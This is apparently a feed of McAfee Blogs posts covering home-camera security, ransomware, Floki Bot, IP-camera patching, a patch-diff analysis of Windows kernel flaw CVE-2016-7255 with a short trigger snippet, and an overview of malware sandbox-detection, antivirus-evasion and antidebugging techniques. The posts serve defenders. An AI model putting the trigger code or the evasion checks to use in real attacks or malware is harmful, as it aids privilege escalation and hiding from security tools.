Most attacks are not incredibly sophisticated. They can be traced to insecurely designed products, absent patches, and poor installation configurations. Security does not need to be difficult or time consuming, but it does require forethought and care.

Top 3 recommendations for securing home cameras:

Choose the vendor wisely. It all starts with choice. If privacy and security are important to you, they should be part of your purchase criteria. Not all home camera vendors are equal. Look for ones that work hard to maintain your privacy and security. How can you tell? Go to their web pages and look beyond their marketing advertisements, as everyone will splash the word secure everywhere. The question you must consider is whether they take security seriously and deliver. See if they publish security updates, have a security team, and offer detail about how they secure their products and services.

No product is safe indefinitely, especially in the IoT world. What matters is the level of commitment companies place on keeping their products secure for customers. It is highly desirable if they produce security patches and explain what vulnerabilities they find. Transparency is a sign of trust. For your part, you must be sure to patch and keep products up to date.

Many companies do not bother with a security team. It is a red flag if the vendor is without such expertise. This oversight means they are not likely to design robust security features, do not have people looking at vulnerabilities, are not developing patches, and are not verifying security in updates.

Those with a security team should openly discuss the controls designed into the product, testing criteria, certifications, and what bugs they have found. Professionals work hard and want to build trust with their customers. I like companies who also have bug bounty programs that reward white-hat hackers who find vulnerabilities and bring them to the attention of the company. Having the hacker community helping make your products more secure is a good thing.

The first and most important step is yours. You must select a trustworthy partner to supply the camera, software, and any additional services. Look at comments in reviews, from owners, and by security professionals who test these cameras. Choose wisely and you will be rewarded.

Set up in nonsensitive areas. Cameras are great ways to watch over your home. But at some time even the best products can be compromised. Therefore, placement is hugely important. Entries, common areas, and watching over babies are great places to set up cameras. Bedrooms, changing rooms, bathrooms, and other private areas are not optimal. Many modern cameras have microphones and other sensors. So even in common areas, you might want to consider what you are saying. Home cameras are tailored for easy setup and minimal fuss when dealing with data. Most work with cloud services that store data and make it accessible to you anywhere on most devices. This is a great feature, but it also means the recordings are not directly under your control—another place for hackers to target. So consider what data you want in the cloud. You do not want embarrassing or private clips to appear online. Where you set up cameras will determine how uncomfortable such situations could become.

Change default passwords. Home cameras come with a number of default settings to facilitate easy setup. Most do not need to be modified, but you must change the default password! Create a unique and strong password that you use nowhere else. Store it somewhere safe. Worst case, if you forget it, you can typically reset it on the camera itself. Many of the current variants of IoT botnets target the vast number of devices that still have default passwords, which are published on the Internet, thus granting attackers full access to cameras. Some vendors are now forcing users to change the password upon installation, but many still do not. Don’t be an easy target. Be smart and change the default password; it makes a big difference.

Home cameras are great. They provide a new sense of security and flexibility for our modern lives. But you must balance those benefits with the accompanying risks. By following a few steps, you will increase your control and make yourself a less attractive target. Enjoy your new camera with the confidence of security and privacy.

 

Interested in more? Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post Top Tips for Securing Home Cameras appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/top-tips-for-securing-home-cameras/feed/ 0
2016 restera dans les annales comme «l’année du ransomware» https://securingtomorrow.mcafee.com/languages/francais/rapport-mcafee-labs-et-ransomware/ https://securingtomorrow.mcafee.com/languages/francais/rapport-mcafee-labs-et-ransomware/#respond Wed, 04 Jan 2017 02:36:17 +0000 https://securingtomorrow.mcafee.com/?p=67157 L’année 2016 a mis en évidence une forte recrudescence des menaces de type ransomware et la nécessité de mettre en place une architecture de sécurité avancée. L’émergence du bitcoin a permis d’anonymiser les transactions. Il joue un rôle important dans l’essor des attaques de ransomware. Certains ransomwares sont capables de détecter et de contourner les environnements …

The post 2016 restera dans les annales comme «l’année du ransomware» appeared first on McAfee Blogs.

]]>
L’année 2016 a mis en évidence une forte recrudescence des menaces de type ransomware et la nécessité de mettre en place une architecture de sécurité avancée.
Ransomware détectés par trimestre
Ransomware détectés par trimestre
  • L’émergence du bitcoin a permis d’anonymiser les transactions. Il joue un rôle important dans l’essor des attaques de ransomware.
  • Certains ransomwares sont capables de détecter et de contourner les environnements sandbox classiques.
  • Le ransomware-as-a‑service a fait son apparition. Les attaquants achètent un droit d’accès à ce service de ransomware!

La protection contre les ransomware est devenu la priorité des entreprises en complément de l’anticipation des attaques ciblées de vols de données.

Dans les deux cas, le Malware est rarement référencé dans les bases de signatures existantes. Il est créé spécifiquement pour une nouvelle campagne, voir même en ciblant un domaine d’activité ou une entreprise spécifique. Les solutions de protection évoluent donc pour réaliser en temps réel des analyses comportementales des exécutables inconnus, directement sur le poste utilisateur et/ou sur le Cloud. Ceci vient en complément de la recherche de signatures connues pour filtrer les menaces déjà identifiées et focaliser la recherche sur les exceptions pour limiter les ressources utilisées.

Initiative No More Ransom!

En juillet, des éditeurs de solutions de sécurité, dont Intel Security, et plusieurs services de police sous l’égide d’Europol se sont associés pour lutter contre les logiciels de demande de rançon.

Le site web “No More Ransom!” offre une mine d’informations sur le Ransomware.

Le “Rapport de McAfee Labs sur le paysage des menaces” en Français est disponible ici.

 

The post 2016 restera dans les annales comme «l’année du ransomware» appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/languages/francais/rapport-mcafee-labs-et-ransomware/feed/ 0
Digging Into a Windows Kernel Privilege Escalation Vulnerability: CVE-2016-7255 https://securingtomorrow.mcafee.com/mcafee-labs/digging-windows-kernel-privilege-escalation-vulnerability-cve-2016-7255/ https://securingtomorrow.mcafee.com/mcafee-labs/digging-windows-kernel-privilege-escalation-vulnerability-cve-2016-7255/#respond Fri, 30 Dec 2016 00:19:30 +0000 https://securingtomorrow.mcafee.com/?p=67521 The Windows kernel privilege escalation vulnerability CVE-2016-7255 has received a lot of media attention. On November’s Patch Tuesday, Microsoft released a fix for this vulnerability as part of bulletin MS16-135. CVE-2016-7255 was used to perform a targeted attack and a sample was found in the wild, according to Microsoft. Google and Microsoft have already confirmed …

The post Digging Into a Windows Kernel Privilege Escalation Vulnerability: CVE-2016-7255 appeared first on McAfee Blogs.

]]>
The Windows kernel privilege escalation vulnerability CVE-2016-7255 has received a lot of media attention. On November’s Patch Tuesday, Microsoft released a fix for this vulnerability as part of bulletin MS16-135. CVE-2016-7255 was used to perform a targeted attack and a sample was found in the wild, according to Microsoft. Google and Microsoft have already confirmed the Russian hacker group APT28 used a Flash vulnerability (CVE-2016-7855) along with this kernel privilege escalation flaw to perform a targeted attack. Google has also discussed this vulnerability.

The vulnerability research team at McAfee Labs has spent a significant amount of time analyzing this vulnerability. In this post we will briefly discuss some of our findings.

We started our analysis with the patch of MS16-135, and very soon we noticed that MS16-135 updated win32k.sys on the target system. Our investigation continued with the comparison (via binary diffing) of the two win32k.sys files (before and after installing the patch). Our test system ran Windows 7 Version 6.1.7601.23584.

Looking at the binary diffing results, we noticed the following functions were modified.

2016-12-29-cve-2016-7255-1

Figure 1: The changed function xxxNextWindow in win32k.sys.

After some preliminary investigation we concluded the patch for CVE-2016-7255 was applied solely in the function xxxNextWindow in win32k.sys.

The following screenshot shows a very high-level overview of the changes made to xxxNextWindow(x,x):

2016-12-29-cve-2016-7255-2

Figure 2: High-level diffing results in the function xxxNextWindow.

We can see some new logic has been added (highlighted in red) to the middle of the patched function. Zooming into the first newly inserted basic block, we can see that the newly introduced code compares the value of eax+0x23.

2016-12-29-cve-2016-7255-3

Figure 3: The first inserted basic block in xxxNextWindow.

We see similar logic in next newly inserted basic block.

2016-12-29-cve-2016-7255-4

Figure 4: The second inserted basic block in xxxNextWindow.

Google has stated the vulnerability “can be triggered via the win32k.sys system call NtSetWindowLongPtr() for the index GWLP_ID on a window handle with GWL_STYLE set to WS_CHILD.”

In fact, NtSetWindowLongPtr only helps trigger this vulnerability, while the root cause lies in xxxNextWindow. More specifically, the inappropriate parameters set by NtSetWindowLongPtr can trigger an “arbitrary address write” scenario in xxxNextWindow.

Now let’s take a look at the decompiled version of the unpatched xxxNextWindow(x,x…).

2016-12-29-cve-2016-7255-5

Figure 5: The decompiled version of the unpatched xxxNextWindow.

After the patch is applied, xxxNextWindow (x,x…) looks like this:

2016-12-29-cve-2016-7255-6

Figure 6: The decompiled version of the patched xxxNextWindow.

The code after the patch has enhanced the parameter verification with the conditional branch statement “(*(_BYTE *)(v8 + 0x23) & 0xC0) != 0x40.”

In this new statement, variable v8 (in eax) is the return value of a previous GetNextQueueWindow call. (See following figure.)

2016-12-29-cve-2016-7255-7

Figure 7: Variable v8 comes from a call to GetNextQueueWindow: “v8 = _GetNextQueueWindow(v7, v31, 1);”

A quick look at the implementation of _GetNextQueueWindow(x,x,x,…) reveals that the function actually returns a pointer to the tagWND structure.

The following screen shows the tagWND structure in windbg:

2016-12-29-cve-2016-7255-8

Figure 8: The structure of tagWND.

Analyzing this code, we know the field at offset 0x78 in the tagWND structure is relevant to the vulnerability. The following lines of decompiled code from the unpatched function illustrate that the field at offset 0x78 is relevant to the vulnerability:

2016-12-29-cve-2016-7255-9

Figure 9: Problematic code in the unpatched xxxNextWindow.

Now the problem becomes simple: If we can control the value at v8+0x78, we will be able to write to an arbitrary address in kernel land, and this could potentially allow the elevation of privilege. Luckily, a user-mode API (NtSetWindowLongPtr) is available to set an arbitrary value in that position.

The following screen shot shows that the value (0x41414141) we passed to NtSetWindowLongPtr is reflected in the tagWND structure, making it easy to gain an arbitrary memory write through this vulnerability.

2016-12-29-cve-2016-7255-10

Figure 10: An arbitrary value is set in the tagWnd structure.

To to trigger the vulnerability, the WS_CHILD attribute of the newly created window must be assigned, and the GWLP_ID attribute must be set with the help of the API NtSetWindowLongPtr(). Moreover, the last hurdle is to trigger xxxNextWindow. After some research, we found we can trigger it by pressing a combination of Alt+Tab keys or simulating the key press with the keybd_event API.

Now that we understand the root cause of this vulnerability from the high level, let’s try reproducing the vulnerability. We will create a simple window and populate some values in its tagWND structure.

HWND hwnd = CreateWindowEx(0, L”TestWnd”, 0, WS_OVERLAPPEDWINDOW | WS_VISIBLE | WS_CHILD, 5, 5, 1, 1, hWndParent, 0/*hMenu */, h, 0);

SetWindowLongPtr(hwnd, GWLP_ID,/*0xfffffff4=GWLP_ID*/ 0x41414141);

2016-12-29-cve-2016-7255-11

Figure 11: Debugging the vulnerable function xxxNextWindow.

The preceding screenshot shows the live debugging output. Here the ebx register is holding the pointer to the tagWND structure, and a write violation will occur very soon. As you can see in the following figure, the destination of the offending instruction is just the address (adding 0x14) that we previously passed in via the NtSetWindowLongPtr API, and this perfectly illustrates an arbitrary address write attack.

2016-12-29-cve-2016-7255-12

Figure 12: Scenario for an arbitrary address write attack.

Let’s return to Microsoft’s patch, which starts by checking the value at offset 0x23 of the tagWND structure. In the patched code, we can see the newly introduced statement

(*(_BYTE *)(v8 + 0x23) & 0xC0) != 0x40

When it comes to the patched version of the function, ebx points to the tagWND of the structure ebx + 0x23 = 0x54;

0x54 & 0xc0 = 0x40 ;(1)  ,  0x40 != 0x40 (2) ;

Now this statement becomes false. Therefore, the program skips the following code lines that attempt to modify memory, and avoids the program crash (the write access violation).

*(_DWORD *)(*(_DWORD *)(v30 + 0x78) + 0x14) &= 0xFFFFFFFB;

*(_DWORD *)(*(_DWORD *)(v8 + 0x78) + 0x14) |= 4u;

How can this vulnerability be exploited to achieve a privilege escalation? Instead of allowing the writing of an arbitrary value to an arbitrary address, this vulnerability can change only one bit; that is, the value on the address will be logically OR-ed with 0x04 (or its multiples) as shown below:

Value = Value | 0x04;

Value = Value | 0x0400;

Value = Value | 0x040000

Value = Value | 0x04000000

In this case, if the attacker can find a certain array of objects in kernel land and enlarge the index of the objects array (such as tagWnd->cbWndExtra) with this logical OR primitive to cause an out-of-bound access, the attacker will be able to gain arbitrary address read/write ability from user mode (by using some user mode APIs). We currently know some exploitation skills of this kind, such as GetBitmapbits/SetBitmapbits (first discovered by KeenTeam) or SetWindowText/GetWindowText.

 

Today, privilege escalation using a kernel mode vulnerability is still the primary vector to break application sandboxes (Internet Explorer’s EPM or Edge’s AppContainer). This path has been well demonstrated by most successful in-the-wild exploits targeting Internet Explorer/Edge/Adobe Reader and Flash that we have seen. Against current versions of Windows, with multilayer defenses, escaping the sandbox with a kernel escalation of privilege is still the attacker’s first choice. KeUsermodeCallback used to be a very popular type of Windows kernel mode vulnerability that can lead to kernel mode code execution, as we saw in CVE-2014-4113 and CVE-2015-0057. Microsoft’s work on addressing kernel vulnerabilities and adding more mitigation security features has led to a decline in this type of attack. In response, attackers have begun to look into kernel font and GDI vulnerabilities. Windows 10 has already restricted win32k calls in Edge, which significantly reduces the attack surface. And Microsoft has also fixed the kernel memory information disclosure issue that leverages the GDI-shared handle table. No doubt, kernel exploitation will become more and more difficult. However, we foresee that attackers will still use win32k as the main attack surface to exploit the kernel to achieve code execution or elevation of privilege. The battle will continue around this hot spot for both attackers and defenders. 

I thank my colleagues Bing Sun and Debasish Mandal for their help with this post.

The post Digging Into a Windows Kernel Privilege Escalation Vulnerability: CVE-2016-7255 appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/digging-windows-kernel-privilege-escalation-vulnerability-cve-2016-7255/feed/ 0
Next Targets for Cybercriminals: the Long Term (Part 2) https://securingtomorrow.mcafee.com/mcafee-labs/next-targets-for-cybercriminals-the-long-term-part-2/ https://securingtomorrow.mcafee.com/mcafee-labs/next-targets-for-cybercriminals-the-long-term-part-2/#respond Tue, 27 Dec 2016 08:10:44 +0000 https://securingtomorrow.mcafee.com/?p=66807 In the previous post in this series, I outlined how cybercriminals will use the holiday season to victimize unwary consumers and target businesses. They will also dive deeper into leveraging devices connected to the Internet of Things (IoT). The long-term outlook expands their reach to more bold and potentially more lucrative pastures. Rise of blockchain …

The post Next Targets for Cybercriminals: the Long Term (Part 2) appeared first on McAfee Blogs.

]]>
bizsecurity

In the previous post in this series, I outlined how cybercriminals will use the holiday season to victimize unwary consumers and target businesses. They will also dive deeper into leveraging devices connected to the Internet of Things (IoT). The long-term outlook expands their reach to more bold and potentially more lucrative pastures.

blockchain

Rise of blockchain

During the next year, blockchains are poised to take on the world of finance, commerce, health care, and potentially government services—in which transactions must have a permanent record and can be seen by the masses. Originally started as the backbone for the emergence of cryptocurrencies like Bitcoin, blockchains can be used for so much more. Imagine purchasing items and having a permanent record of your investments. Land titles in parts of the world where governments come and go with frequency will persist even after a regime change, as they are part of an unalterable distributed public record. Stock trading by individuals could happen at lightning speed, not requiring an account at one of the big trading houses to process your order and take a fee. Your entire personal medical profile and records may be encrypted, but available to any doctor at a moment’s notice if you need them to be. Blockchains will likely be important in India, where government bank and spending accounts for each citizen could be protected from fraud and quickly process transactions.

The benefits are huge, motivating organizations to adopt the technology, which is already being explored in several sectors such as finance, commerce, digital contracts, and health care. Once embraced, blockchains will control and protect a mind-boggling amount of resources and power, guaranteeing they will be targeted by thieves, fraudsters, organized criminals, hacktivists, and even nation-states. This is where the true test of technology will be tempered. Like encryption before it, the math is solid, but we’ll see the vulnerabilities in implementations. Adopters will feel growing pains, as not all blockchains will be equal when it comes to cybersecurity. The attackers will hunt the weakest in the herd for easy and profitable meals.

socialmedia

Social media rules our attention

The attention market has changed so much over the past few generations. Newspapers and magazines gave way to radio, then television, the Internet, and now social media platforms. There is massive value in capturing people’s attention. It shapes our perceptions of justice, tempts us with purchases, cajoles us into trust, fuels the fame of celebrities, and is the lens we see the world through. It is powerful on so many levels, which it is why it will be targeted by all manner of digital threats.

Cyber threats recognize that social media is now seen as a tool to shift public sentiment. Expect terrorists, hacktivists, and nation-states to explore various exploits to support their objectives. The first battles will be around the ability to promote content, appear atop search results, shutter opposing views, and hack accounts of influential people. I also expect more campaigns to embarrass individuals and expose their private online activities. This will be done for profit and control, as well as for amusement.

Ransomware

Ransomware will continue to bring in tremendous amounts of money for cybercriminals. The number of ransomware engines will likely decrease, but the overall impact will go up. Like any software, every generation gets better and adds more features, which drives consolidation to the very best vendors. This trend will also play out with ransomware. Very soon, just a handful of engines will dominate the field. The result will be a greater overall impact as the best tools expand to target businesses, which are more lucrative when it comes to the extortion. Unfortunately, ransomware and extortion is a long-term problem.

Stressful holidays and New Year

Criminals, like the rest of us, enjoy having extra money to spend during the holidays. Expect more malicious activity during this end-of-year season, especially for those who are careless in their trust, as well as a sharp rise in fraudulent e-commerce, credit/debit card fraud, and identity thefts. Ransomware will expand from a mostly consumer scourge to also impact businesses for a much greater payoff. Social media will be both a target of attackers as well as an emotional sounding board on which we can express our discontent. Long-term attacks of a more strategic nature will test early blockchain implementations and explore ways to monetize pathetically weak IoT devices. Banks, ATMs, global financial transactions, and cryptocurrency will continue to be targeted for the foreseeable future, with ever bigger and bolder schemes.

 

Interested in more? Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post Next Targets for Cybercriminals: the Long Term (Part 2) appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/next-targets-for-cybercriminals-the-long-term-part-2/feed/ 0
Next Targets for Cybercriminals: the Short Term (Part 1) https://securingtomorrow.mcafee.com/mcafee-labs/next-targets-cybercriminals-short-term-part-1/ https://securingtomorrow.mcafee.com/mcafee-labs/next-targets-cybercriminals-short-term-part-1/#respond Sun, 25 Dec 2016 08:50:13 +0000 https://securingtomorrow.mcafee.com/?p=66803   Knowing what cybercriminals are targeting today is easy. Their attacks are loud, impactful, and have the elegance of a herd of bulls crashing through a china shop. The tougher challenge is figuring out where they will take aim tomorrow. Knowing where cyber threats will arise gives us the necessary insights to remain one step …

The post Next Targets for Cybercriminals: the Short Term (Part 1) appeared first on McAfee Blogs.

]]>
future_sign

 

Knowing what cybercriminals are targeting today is easy. Their attacks are loud, impactful, and have the elegance of a herd of bulls crashing through a china shop. The tougher challenge is figuring out where they will take aim tomorrow. Knowing where cyber threats will arise gives us the necessary insights to remain one step ahead of their mayhem.

In the short term

The current focus is on lucrative e-commerce: online shopping, email ransomware, phishing for credentials, and infection by holiday-lurking malware. It is also a time for dark markets to thrive, selling unmentionables to those looking for illegal items for the holiday celebrations.

We must all expect malware-ridden holiday sale emails and websites. Look for the fake shipping invoice or an urgent message from some merchant. All bogus. Shady e-commerce sites, advertising insane deals as bait, aim to harvest credit card accounts, emails, and maybe convince you to install some “helpful” software. Phishing increases this time of year: Look for a new wave of ransomware to hold family pictures, personal files, and entire systems for extortion. Identity theft will add to the rise of new credit card applications for unauthorized shopping. In the next couple of months, all of these financially motivated threats will increase, so now is a time to be on your guard.

bizsecurity

Businesses beware

Businesses must worry about the increased amount of e-commerce fraud, ransomware that extorts money to unlock important files, and the ever-present risk of data breaches. Health care, retail, and financial sectors will be targeted the most, but all businesses are in jeopardy. Social media will be targeted as a springboard to reach more potential victims and influence them to download or visit sites containing malware. Some large companies that rely heavily on web traffic will suffer distributed denial of service (DDoS) extortion attempts. “Pay or be unavailable to your customers” is the threat. As always, cash is king and credit is queen. More ATM attacks are in our future. Europe will be the hotbed, given its machine density and proximity to current thieving bands who are becoming more proficient at these attacks. The United States will suffer from more credit card and debit card fraud, some in stores, but more shifting toward online sites as the chip-on-card initiative forces thieves to adapt.

Exploiting IoT devices

Hacking home devices connected to the Internet of Things (IoT) is easy for botnet herders looking to amass an army to conduct DDoS attacks. But there is little money in merely attacking. Some will adjust to provide “protection” extortion schemes. Others will move into using those simple devices to create social media accounts that can “follow” or “like” en masse for a fee. Early signs are already present as buying followers/likes is lucrative business in the ego markets of social media.

Looking down the road a bit, we will actually see fewer random attacks against IoT devices. Two factors will be at play. First, IoT device manufacturers and consumers will shift to close today’s basic weakness: the use of default passwords. The second change will occur when professional hackers, likely organized criminals and nation-states, take over the market with more professional hacking capabilities. They tend to not play nice with others. Upon compromising an IoT device, they will immediately close the vulnerability so they are not displaced by another hacker. This ensures they will keep control of their victims.

We will see more creative ways for attackers to monetize this resource by coupling with ransomware, DDoS attacks, data leakage, creation of mass accounts to facilitate fraud, and perhaps even creating specialty routing networks to obfuscate traffic. The result will be more devices exploited, but in a more organized manner, until such time as the IoT industry becomes much more secure overall.

In a subsequent post, I will look into the long-term targets of cybercriminals. There are many opportunities that could reap big payouts. They are a greedy lot and I expect them to make bold moves.

 

Interested in more? Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity

The post Next Targets for Cybercriminals: the Short Term (Part 1) appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/next-targets-cybercriminals-short-term-part-1/feed/ 0
Floki Bot a Sensation With International Cybercriminals https://securingtomorrow.mcafee.com/mcafee-labs/floki-bot-a-sensation-with-international-cybercriminals/ https://securingtomorrow.mcafee.com/mcafee-labs/floki-bot-a-sensation-with-international-cybercriminals/#comments Fri, 23 Dec 2016 08:04:28 +0000 https://securingtomorrow.mcafee.com/?p=67000 Floki Bot, new financial malware, is popular with English-, Portuguese-, and Russian-speaking underground criminal markets, winning over cybercriminals with new features and functionality. It is currently in use by a number of cybercrime groups around the world and is sold on the dark market for about US$1,000, according to Flashpoint and Cisco Talos. Improvements abound …

The post Floki Bot a Sensation With International Cybercriminals appeared first on McAfee Blogs.

]]>
malwaredna

Floki Bot, new financial malware, is popular with English-, Portuguese-, and Russian-speaking underground criminal markets, winning over cybercriminals with new features and functionality. It is currently in use by a number of cybercrime groups around the world and is sold on the dark market for about US$1,000, according to Flashpoint and Cisco Talos.

Improvements abound

Floki Bot is a great example of the evolutionary release-reuse tactics of hackers. Based upon the venerable Zeus Trojan Version 2.0.8.9, which was released many years ago, this new bot variant sports many technologies to bypass detection and eradication by security tools. It has an updated engine to avoid Deep Packet Inspection, a cybersecurity method used to detect malicious software; and the extensibility to use The Onion Router (TOR) network for masking network traffic sources. Floki Bot uses a number of obfuscation techniques to hide its sensitive code. The bot also sports advanced methods to capture data from one of its primary targets, point-of-sale devices. Overall, the malware keeps many Zeus tricks while adding upgrades to stay current with the latest security controls and tactics.

Alternate engineering

Based upon communication traffic analysis, it appears that several parties, possibly with different languages, might have contributed to the creation of this malware. As hackers do often collaborate, the result brings together a capable new malware to the stage. This cooperation is becoming more common, with various experts working together to develop the next generation of malware.

In some cases, the sharing is not intentional. There are several examples of nation-states that have conducted cyberattacks as other parties intercepted their well-developed code, only to reverse engineer it and use the parts they found interesting in their own projects. This is the way of next-generation malware authors. They do not need to know everything themselves; they can leverage a community for assistance and reuse the best parts of other code for maximum effect.

nationstatemalware

Protections must adapt

If Floki Bot is any indication of the evolution of malware, we should expect faster cycles of release for more virulent code and methods. Teamwork will increase as groups work together to monetize efforts and fleece victims in more efficient and creative ways. The cybersecurity industry is fighting not only the malicious technology, but also the people who are innovating and collaborating to undermine our security and privacy.

 

Interested in more? Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post Floki Bot a Sensation With International Cybercriminals appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/floki-bot-a-sensation-with-international-cybercriminals/feed/ 2
Did You Forget to Patch Your IP Camera? https://securingtomorrow.mcafee.com/mcafee-labs/forget-patch-ip-camera/ https://securingtomorrow.mcafee.com/mcafee-labs/forget-patch-ip-camera/#respond Wed, 21 Dec 2016 08:25:49 +0000 https://securingtomorrow.mcafee.com/?p=67151 IP cameras are usually “purchase, install, and don’t touch” devices. But in the current climate of cyberattacks, they now require regular updates and patches. Otherwise your security tool may be hacked, leak video, or join a cybercriminal botnet without your knowing. IP cameras are targets Like all Internet-connected devices, IP cameras are at risk of …

The post Did You Forget to Patch Your IP Camera? appeared first on McAfee Blogs.

]]>
security_cam_650

IP cameras are usually “purchase, install, and don’t touch” devices. But in the current climate of cyberattacks, they now require regular updates and patches. Otherwise your security tool may be hacked, leak video, or join a cybercriminal botnet without your knowing.

IP cameras are targets

Like all Internet-connected devices, IP cameras are at risk of attack from online threats. Recent attacks have shown just how easy it is to hack hundreds of thousands of cameras, TVs, routers, and DVRs. Manufacturers are working to remediate the known weaknesses by providing patches. But in most cases, the upgrades require the owners to take action.

Sony recently released new firmware for 80 models of its IP cameras, to improve their resistance against cyberattacks. They are not alone, as many of the biggest manufacturers of IP cameras, including Siemens and Foscam, have issued a variety of updates in the past year. Manufacturers that release patches are doing a service for their customers. Internet of Things (IoT) devices require continual updates as threats in cyberspace adapt. Our technology must also keep pace or fall victim.

We are all affected

All IP camera owners must understand their roles and responsibilities. It is up to owners to keep their IoT devices patched, including the computers and phones connecting to them. Having our devices compromised can impact our security, safety, and privacy. It can also impact others. A recent attack brought down much of the east coast of the United States when a major domain name service was attacked by tens of thousands of hacked IoT devices, including IP cameras. Such outages, fueled by IoT botnets, are becoming more common. By patching systems, we can protect ourselves and the larger Internet community.

Get patching!

Determine the manufacturer and model number of your camera. Visit the manufacturer’s website and look for updates and firmware patches. Follow the installation instructions carefully! If you connect via applications from your phone or PC, also make sure you have the latest software.

We are all digitally connected and all have a responsibility to do no harm to our collective communication resource, the Internet. Patch and stay current. We all thank you.

 

Interested in more? Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post Did You Forget to Patch Your IP Camera? appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/forget-patch-ip-camera/feed/ 0
An Overview of Malware Self-Defense and Protection https://securingtomorrow.mcafee.com/mcafee-labs/overview-malware-self-defense-protection/ https://securingtomorrow.mcafee.com/mcafee-labs/overview-malware-self-defense-protection/#respond Mon, 19 Dec 2016 22:43:33 +0000 https://securingtomorrow.mcafee.com/?p=67184 Many malware authors spend a great deal of time and effort to develop complex code. Their success depends on a threat’s remaining undetected and avoiding sandbox analysis, antivirus efforts, or malware analysts. This post offers an overview of the mechanisms used by malware to evade detection. If malware is detected quickly, it has little time …

The post An Overview of Malware Self-Defense and Protection appeared first on McAfee Blogs.

]]>
Many malware authors spend a great deal of time and effort to develop complex code. Their success depends on a threat’s remaining undetected and avoiding sandbox analysis, antivirus efforts, or malware analysts. This post offers an overview of the mechanisms used by malware to evade detection.

If malware is detected quickly, it has little time to steal data or to maximize its impact. The IT security market has matured and security tools and applications are today more efficient. However, attackers understand and monitor the operations of security tools. In addition, organizations do not always follow best practices. Antimalware tools are sometimes outdated, and sandboxes can easily be detected due to misconfiguration.

Malware self-defense

Malware can use several mechanisms to avoid detection and analysis. We can classify these techniques into three categories:

  • Anti-security tools: Used to avoid detection by antivirus, firewall, and other tools that protect the environment.
  • Anti-sandbox: Used to detect automatic analysis and avoid engines that report on the behavior of malware.
  • Anti-analyst: Used to detect and fool malware analysts. For example, spotting monitoring tools such as Process Explorer or Wireshark, as well as some process-monitoring tricks or packers, to avoid reverse engineering.

Some malware techniques are common to these three categories. Malware can use a technique like RunPE (which runs another process of itself in memory), to evade antivirus software, a sandbox or an analyst.

Sandbox evasion

Sandboxes are an effective tool to quickly detect and understand malware; however, it is relatively trivial for malware to detect a sandbox if it is not hardened. Malware can perform several basic checks:

  • MAC address detection: Virtual environments such as VMware or VirtualBox use known MAC addresses. This address is often stored in the registry at (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\0000\NetworkAddress). The malware can detect this two ways, either by requesting the Hive key or using the GetAdapterInfo API.
    DWORD GetAdaptersInfo(
              _Out_   PIP_ADAPTER_INFO pAdapterInfo,
              _Inout_ PULONG                   pOutBufLen
    );
  • Process discovery: Malware may be able to detect whether there are any running processes related to a sandbox. For example, processes such as VmwareService.exe can be easily detected with the CreateToolHelp32Snapshot API, to get a snapshot of the current running processes, and then list each process of the snapshot with the APIs Process32First and Process32Next.
    HANDLE WINAPI CreateToolhelp32Snapshot(  
              _In_ DWORD dwFlags,  
              _In_ DWORD th32ProcessID
    );
    
    BOOL WINAPI Process32First(  
              _In_    HANDLE           hSnapshot,  
              _Inout_ LPPROCESSENTRY32 lppe
    );
    
    BOOL WINAPI Process32Next(  
              _In_  HANDLE           hSnapshot,  
              _Out_ LPPROCESSENTRY32 lppe
    );
  • Registry detection: Virtual environments create registry keys on the system that can be detected by malware. Following we see an incomplete list of the registry keys that malware can check:
    “HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0”
    “SOFTWARE\\VMware, Inc.\\VMware Tools”
    “HARDWARE\\Description\\System”
    “SOFTWARE\\Oracle\\VirtualBox Guest Additions”
    “SYSTEM\\ControlSet001\\Services\\Disk\\Enum”
    “HARDWARE\\ACPI\\DSDT\\VBOX__”
    “HARDWARE\\ACPI\\FADT\\VBOX__”
    “HARDWARE\\ACPI\\RSDT\\VBOX__”
    “SYSTEM\\ControlSet001\\Services\\VBoxGuest”
    “SYSTEM\\ControlSet001\\Services\\VBoxMouse”
    “SYSTEM\\ControlSet001\\Services\\VBoxService”
    “SYSTEM\\ControlSet001\\Services\\VBoxSF”
    “SYSTEM\\ControlSet001\\Services\\VBoxVideo”

Malware can also perform some advanced techniques to detect a sandbox:

  • Checking hook function: A hook is basically a technique to alter the behavior of an internal function of an operating system or an application. Sandboxes use hook techniques to alter the behavior of a sample; for example, by hooking the DeleteFile function, malware will try to delete a file that will be intercepted by the sandbox. These kinds of function are located in a specific place in memory (kernel land).

Malware can detect a hook by checking the address of the calling function. For example, if the returned address is not located in the kernel, the function is currently hooked.

Malware can use other techniques such as checking the size of the hard drive or using special instructions to detect specific registers (“Red Pill” or “No Pill” techniques). These techniques are based on the fact that registers are unique in a machine and have to be relocated on a virtual environment.

Antivirus evasion

Antivirus tools use three basic functions: signatures, scanner, heuristics.

  • Evading signatures can be performed by changing the hash of the sample, which is as easy as changing only one byte in the executable.
  • Evading a scanner can be performed by creating a big file to confuse the emulator.
  • Evading heuristic analysis is more complex, but can be performed by hooking back functions.

Another way to evade antivirus tools is for the malware to disable the tool or add an exception. Polymorphic codes are particularly difficult to detect.

Antidebugging

Malware analysts often have to dig deep during code analysis. Antidebugging is another malware technique for avoiding reverse engineering by a debugger. It is relatively trivial to detect the presence of a debugger using the Windows API.

  • IsDebuggerPresent: This function checks a specific flag in the process environment block for the field IsDebugged, which will return zero if the process is not running in a debugger or a nonzero if a debugger is attached.
